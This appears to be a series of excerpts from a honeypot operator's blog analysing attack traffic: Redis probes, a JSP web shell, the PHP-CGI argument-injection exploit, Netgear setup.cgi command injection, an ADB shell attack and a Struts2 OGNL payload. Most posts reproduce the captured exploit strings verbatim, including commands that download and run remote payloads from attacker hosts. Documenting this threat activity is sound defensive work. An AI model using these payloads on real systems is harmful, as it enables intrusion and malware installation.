RunningStream

TCP port 6379 gets a number of strange connections, regularly. These are targetting misconfigured Redis servers. The typical connection is something like the following: 2a330d0a24360d0a434f4e4649470d0a *3..$6..CONFIG.. 24330d0a4745540d0a24310d0a2a0d0a $3..GET..$1..*.. 636f6e66696720676574206469720d0a config get dir.. 696e666f0a info. We don’t have Redis experience, but these seem to be just testing whether the target server (a honeypot in this instance…) would respond with configuration info. Some of these are likely precursors to other attack, while many are certainly just network scanners learning about the Internet.

We’ve recently released two pieces of software useful to individuals running honeypots. Both are open-source, GPL’d, available on our site at GitHub. Recursid Recursid is a recursive object processing platform. Our use case lies primarily in processing and downloading URLs found during honeypot operation. An attacker tries to pull tools from a URL, we observe this attempt and block it, separately we download the tools in a controlled manner, we search for further URLs embedded inside, download the results, and so-on.

Glastopf, the web server honeypot, received a couple generic probe attempts from 27.210.190.226, then immediately received a PUT request for “/indexweb4.jsp/” (VirusTotal report). <%@ page language="java" import="java.util.*,java.io.*" pageEncoding="UTF-8"%> <%!public static String excuteCmd(String c) { StringBuilder line = new StringBuilder(); try { Process pro = Runtime.getRuntime().exec(c); BufferedReader buf = new BufferedReader(new InputStreamReader(pro.getInputStream())); String temp = null; while ((temp = buf.readLine()) != null) { line.append(temp+"\\n"); } buf.close(); } catch (Exception e) { line.

Here’s another version of the Netgear DGN bug being used recently - an attack against web servers that have PHP executable under cgi-bin. The POST request URL looks like: //cgi-bin/php?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%6E Which translates to: //cgi-bin/php?-d+allow_url_include=on+-d+safe_mode=off+-d+suhosin.simulation=on+-d+disable_functions=""+-d+open_basedir=none+-d+auto_prepend_file=php://input+-d+cgi.force_redirect=0+-d+cgi.redirect_status_env=0+-d+auto_prepend_file=php://input+-n The body of the request is then: <? system("cd /tmp ; wget hxxp://61.180.181.98/clean ; curl -O hxxp://61.180.181.98/clean ; fetch hxxp://61.180.181.98/clean ; chmod +x clean ; ./clean ; rm -rf clean* ; history -c "); ?> That “clean” script actually begins by cleaning up things some other recent versions of the exploit have left behind… It kills xmrig, minerd, and several other things that look like part of earlier attacks.

On 10 July some new reports of fresh attacks against TCP 5555 came out. These attacks died out quickly as the download server died out. Telekom Security reported the abuse to the cloud service provider, temporarily halting infections. Now, it’s back! New download site, new download site, same attack. 434e584e000000010010000007000000 CNXN............ 32020000bcb1a7b1686f73743a3a004f 2.......host::.O 50454e5802000000000000f200000017 PENX............ 4a0000b0afbab17368656c6c3a3e2f73 J......shell:>/s 64636172642f446f776e6c6f61642f66 dcard/Download/f 202626206364202f7364636172642f44 && cd /sdcard/D 6f776e6c6f61642f3b203e2f6465762f ownload/; >/dev/ 66202626206364202f6465762f3b203e f && cd /dev/; > 2f646174612f6c6f63616c2f746d702f /data/local/tmp/ 66202626206364202f646174612f6c6f f && cd /data/lo 63616c2f746d702f3b2062757379626f cal/tmp/; busybo 78207767657420687474703a2f2f3138 x wget hxxp://18 352e36322e3138392e3134392f616462 5.

Just a ton of what Glastopf reports as remote file inclusion attacks happened overnight, all of one similar type. Almost exactly 700 exploitation attempts using the vulnerability exploited here. Requests that would redirect a Netgear device back to one of 3 different download servers came from 37 unique IP addresses, suggesting a good amount of success exploiting this old vulnerability. /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+hxxp://80.211.91.217/mips+-O+/tmp/mips;sh+mips&curpath=/&currentsetting.htm=1 /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+hxxp://46.243.189.101/gang+-O+/tmp/gang;sh+gang&curpath=/&currentsetting.htm=1 /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;wget+hxxp://213.183.53.120/netgear+-O+/tmp/netgear;sh+netgear&curpath=/&currentsetting.htm=1 None of those download points are returning files at this time, unfortunately.

Finally, a chance to grab the Windows binaries that eluded me in my previous attempts during Dis-invited By User Agent. I had the same attack probing my server this morning attempting to download and execute a Windows script, but this time I determined the correct user agent for the .Net WebClient class - it’s blank. The class, by default, doesn’t send any headers… curl -A "" hxxp://107.181.174.232/win/checking.ps1 -o checking.ps1 $W = New-Object System.

This morning showed similar behavior to “attacks spreading cryptocoin miners”, but with new URL names and domains, choosing slightly less-obvious domains. Today the attack came from The download domain is 4wgumbxicvicldow.onion.lu, which at least doesn’t contain the term “zero-day” this time. This is a TOR proxy, enabling connections to TOR “dark-web” sites from the regular web. It then downloads files from pixeldra.in. Pixeldra.in will give some file information just based on the URL…

I see some interesting exploitation over port 80 to struts2-rest-showcase/orders.xhtml: Content-Type: %{(#nike='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='cmd /c del C:/Windows/temp/searsvc.vbs&echo Set Post = CreateObject("Msxml2.XMLHTTP") >>C:/Windows/temp/searsvc.vbs&echo Set Shell = CreateObject("Wscript.Shell") >>C:/Windows/temp/searsvc.vbs&echo Post.Open "GET","hxxp://a46.bulehero.in/downloader.exe",0 >>C:/Windows/temp/searsvc.vbs&echo Post.Send() >>C:/Windows/temp/searsvc.vbs&echo Set aGet = CreateObject("ADODB.Stream") >>C:/Windows/temp/searsvc.vbs&echo aGet.Mode = 3 >>C:/Windows/temp/searsvc.vbs&echo aGet.Type = 1 >>C:/Windows/temp/searsvc.vbs&echo aGet.Open() >>C:/Windows/temp/searsvc.vbs&echo aGet.Write(Post.responseBody) >>C:/Windows/temp/searsvc.vbs&echo aGet.SaveToFile "C:/Windows/temp/esentur.exe",2 >>C:/Windows/temp/searsvc.vbs&echo wscript.sleep 10000>>C:/Windows/temp/searsvc.vbs&echo Shell.Run ("C:/Windows/temp/esentur.exe")>>C:/Windows/temp/searsvc.vbs&C:/Windows/temp/searsvc.vbs').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())} It looks like this is abusing some mishandling of a content type, to write a vbs script that downloads hxxp://a46.

Something that requires more study for me: SIP connections. SIP is a portion of the Voice over IP (VOIP) protocol. Most are from a scanner called sipvicious, but after the obvious sipvicious connections behind there are a number of interesting ones remaining. They seem to be probes of SIP capabilities at a remote address, which is similar to traffic at every other port. There are some more interesting requests though - I saw one the other day requesting a connection to a specific 10.